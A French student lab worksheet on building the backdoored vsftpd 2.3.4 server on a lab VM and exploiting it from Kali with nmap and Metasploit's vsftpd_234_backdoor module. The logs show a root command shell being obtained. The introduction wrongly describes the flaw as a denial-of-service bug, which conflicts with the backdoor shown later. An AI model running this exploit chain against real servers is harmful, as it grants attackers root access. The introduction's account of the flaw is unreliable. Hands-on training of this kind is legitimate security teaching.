T.P. Exploitation de faille

DATE : 15.04.25

Prérequis : machine virtuelle Debian déposée sur le FTP (BLOC1/3-DEB12.4.0), machine virtuelle Kali Linux

Une vulnérabilité de sécurité a été découverte dans la version 2.3.4 du logiciel VSFTPD, qui est un serveur FTP open source utilisé sur de nombreux systèmes Unix et Linux.
Elle fut trouvée par un chercheur en sécurité nommé Kingcope en juillet 2011. Elle permettait à un attaquant distant de provoquer un déni de service (DoS) en exploitant une faiblesse dans la gestion des commandes FTP passées au serveur VSFTPD. En envoyant une séquence particulière de commandes FTP au serveur, un attaquant pouvait provoquer un plantage du service, le rendant indisponible pour les autres utilisateurs légitimes.

Ubuntu :

IP de la machine

ip a

```
master@VM-UBT200401:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defau
lt qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default qlen 1000
    link/ether 08:00:27:4d:30:51 brd ff:ff:ff:ff:ff:ff
    inet 192.168.2.185/24 brd 192.168.2.255 scope global dynamic noprefixroute
enp0s3
       valid_lft 14218sec preferred_lft 14218sec
    inet6 fe80::ff2c:586e:f729:358d/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Installer Git sur la machine

sudo apt install git

```
master@VM-UBT200401:~$ git --version
git version 2.25.1
master@VM-UBT200401:~$
```

Créer un dossier de travail et s'y placer

mkdir failleftp && cd failleftp

```
master@VM-UBT200401:~$ mkdir failleftp && cd failleftp
master@VM-UBT200401:~/failleftp$
```

Cloner la version vulnérable de VSFTPD
git clone https://github.com/nikdubois/vsftpd-2.3.4-infected.git

```
master@VM-UBT200401:~$ cd failleftp
master@VM-UBT200401:~/failleftp$ git clone https://github.com/nikdubois/vsftpd-
2.3.4-infected.git
Clonage dans 'vsftpd-2.3.4-infected'...
remote: Enumerating objects: 167, done.
remote: Total 167 (delta 0), reused 0 (delta 0), pack-reused 167 (from 1)
Réception d'objets: 100% (167/167), 210.23 Kio | 2.42 Mio/s, fait.
Résolution des deltas: 100% (5/5), fait.
master@VM-UBT200401:~/failleftp$
```

Installer les paquets de compilation
sudo apt-get install build-essential

Modifier le fichier Makefile pour ajouter -lcrypt à la ligne LINK
nano vsftpd-2.3.4-infected/Makefile
(Modifier LINK= en LINK=-lcrypt)

```
  GNU nano 4.8              vsftpd-2.3.4-infected/Makefile              Modifié
# Makefile for systems with GNU tools
CC      =       gcc
INSTALL =       install
IFLAGS  = -idirafter dummyinc
#CFLAGS = -g
CFLAGS  =       -O2 -Wall -W -Wshadow #-pedantic -Werror -Wconversion

LIBS    =       `./vsf_findlibs.sh`
LINK    =       -lcrypt
```

Compiler le programme
make (depuis le répertoire vsftpd-2.3.4-infected)

```
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo make
make: « vsftpd » est à jour.
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$
```

Créer un utilisateur nobody
sudo useradd nobody

```
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo useradd nobody
useradd : l'utilisateur « nobody » existe déjà
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$
```

Créer le dossier vide requis par VSFTPD
sudo mkdir /usr/share/empty

```
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo mkdir /usr/share/em
pty
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$
```

Modifier le fichier de config vsftpd.conf et décommenter deux lignes
nano vsftpd.conf
(Décommenter local_enable=YES et write_enable=YES)

```
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
```

Copier les exécutables et les fichiers de config aux bons emplacements
sudo cp vsftpd /usr/local/sbin/vsftpd
sudo cp vsftpd.8 /usr/local/man/man8
sudo cp vsftpd.conf.5 /usr/local/man/man5
sudo cp vsftpd.conf /etc

```
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo mkdir /usr/share/em
pty
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ nano vsftpd.conf
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo cp vsftpd /usr/loca
l/sbin/vsftpd
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo cp vsftpd.8 /usr/lo
cal/man/man8
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo cp vsftpd.conf.5 /u
sr/local/man/man5
master@VM-UBT200401:~/failleftp/vsftpd-2.3.4-infected$ sudo cp vsftpd.conf /etc
```

Lancer le service VSFTPD
sudo /usr/local/sbin/vsftpd

<u>Kali Linux</u>

Scanner la cible avec Nmap pour détecter les services et OS
nmap -sV -O [IP_UBUNTU]

Lancer Metasploit
msfconsole

Utiliser l'exploit spécifique à la faille vsftpd 2.3.4
use exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 > use exploit/unix/ftp/vsftp_234_backdoor
[-] No results from search
[-] Failed to load module: exploit/unix/ftp/vsftp_234_backdoor
msf6 >
```

Afficher les options de l'exploit
show options

```
msf6 > show options

Global Options:
===============

   Option             Current Setting      Description
   ------             ---------------      -----------
   ConsoleLogging     false                Log all console input and output
   LogLevel           0                    Verbosity of logs (default 0, max 3)
   MeterpreterPrompt  meterpreter  The meterpreter prompt string
   MinimumRank        0                    The minimum rank of exploits that will run without explicit confirmation
   Prompt             msf6                 The prompt string
   PromptChar         >                    The prompt character
   PromptTimeFormat   %Y-%m-%d %H:%M:%S    Format for timestamp escapes in prompts
   SessionLogging     false                Log all input and output for sessions
   TimestampOutput    false                Prefix all console output with a timestamp

msf6 >
```

Définir l'adresse IP de la cible (Ubuntu FTP)
set RHOST [IP_UBUNTU]

```
msf6 > set RHOST 192.168.2.185
RHOST => 192.168.2.185
msf6 >
```

Lancer l'exploit
exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > LHOST 192.168.2.127
[-] Unknown command: LHOST.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.2.127
LHOST => 192.168.2.127
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.2.185:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.2.185:21 - USER: 331 Please specify the password.
[+] 192.168.2.185:21 - Backdoor service has been spawned, handling...
[+] 192.168.2.185:21 - UID: uid=0(root) gid=0(root) groupes=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.2.185:6200) at 2025-05-15 10:03:55 -0400
```

Tester l'accès obtenu avec quelques commandes Linux
cd .. puis ls